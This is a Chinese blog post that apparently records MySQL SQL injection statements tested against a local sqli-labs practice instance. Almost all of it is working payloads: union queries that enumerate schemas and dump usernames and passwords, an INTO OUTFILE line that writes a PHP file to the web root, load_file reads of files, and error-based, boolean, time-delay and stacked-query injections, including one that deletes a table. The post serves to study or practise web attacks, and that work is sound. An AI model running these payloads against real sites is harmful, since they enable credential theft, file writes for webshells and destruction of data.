sql 注入 mysql_基于MySQL SQL注入语句记录

1.联合查询下的数据获取语句

获取数据库名称的语句

http://127.0.0.1/sqli/less-1/

?id=-1'union select 1,2,(database())--+

http://127.0.0.1/sqli/less-1/

?id=-1'union select 1,2,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA)--+

ec2bd18b9c9d4cd5e060b7cfa3079c64.png

获取数据库中表的名称

http://127.0.0.1/sqli/less-1/

?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

f8c398243323b34adc6657fa877975f3.png

获取数据库中字段名称的语句

http://127.0.0.1/sqli/less-1/

?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),3--+

729e8e4703f42f2daed7adcc98937c42.png

查询数据库中列的信息

http://127.0.0.1/sqli/less-1/?id=-1' union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 0,1),3--+

http://127.0.0.1/sqli/less-1/?id=-1' union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3--+

b5a010fdd83310fc34a8193be045abd7.png

获取数据库路径

http://10.1.2.85/sqli/Less-1/?id=-1' union select 1,@@datadir,3--+

http://10.1.2.85/sqli/Less-1/?id=-1' union select 1,@@basedir,3--+

1419cade02cf894f3d89aa47458c7e92.png

写入文件

http://10.1.2.85/sqli/Less-1/?id=-1' union select 1,2,'<?php phpinfo();?>' into outfile 'C://phpStudy/PHPTutorial/WWW/into.php'--+ (路径为反斜杠)

7df94dcdf69b9826bb105881d3d8eac0.png

读取文件

http://10.1.2.85/sqli/Less-1/?id=-1' union select 1,2,load_file('C://2.txt')--+

613178cf5ddb94422b1737601ca57134.png

2.报错型注入 获取数据

floor()函数报错 注:输出字符长度限制为64个字符

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

c986e1fd274190ebae1454ab3372d940.png

updatexml()函数报错 注:输出字符有长度限制,最长32位

and updatexml(1,concat(0x404040,(payload),0x4040),123)--+and updatexml(1,concat(0x404040,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x4040),123)--+

c0d77a05dad21f6a683349870505242a.png

ExtractValue()报错注入 注:输出字符有长度限制,最长32位

and extractvalue(1, concat(0x7e,@@version,0x7e))

a40a79b9b4eb59a91b47595239145b31.png

3.布尔型注入语句

and length(database())=1and substr(database(),1,1)=‘t’ --+and substr(database(),2,1)=‘q’ --+and ord(substr(database(),1,1))=115and ord(mid((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1) ,1,1))=101 --+ limit(0,1)第一个表名

and ascii(substr(database(),1,1))=1--+

4.堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。在结束一个sql语句后继续构造下一条语句,一起执行, 因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间区别就在于 union 或者union all执行的语句类型是有限的,可以用来执行的是查询语句,而堆叠注入可以执行的是任意的语句。 例如以下这个例子。用户输入:1; DELETE FROM products;服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products;当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

5.延时注入

and if(length(database())=8,sleep(5),1) --+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值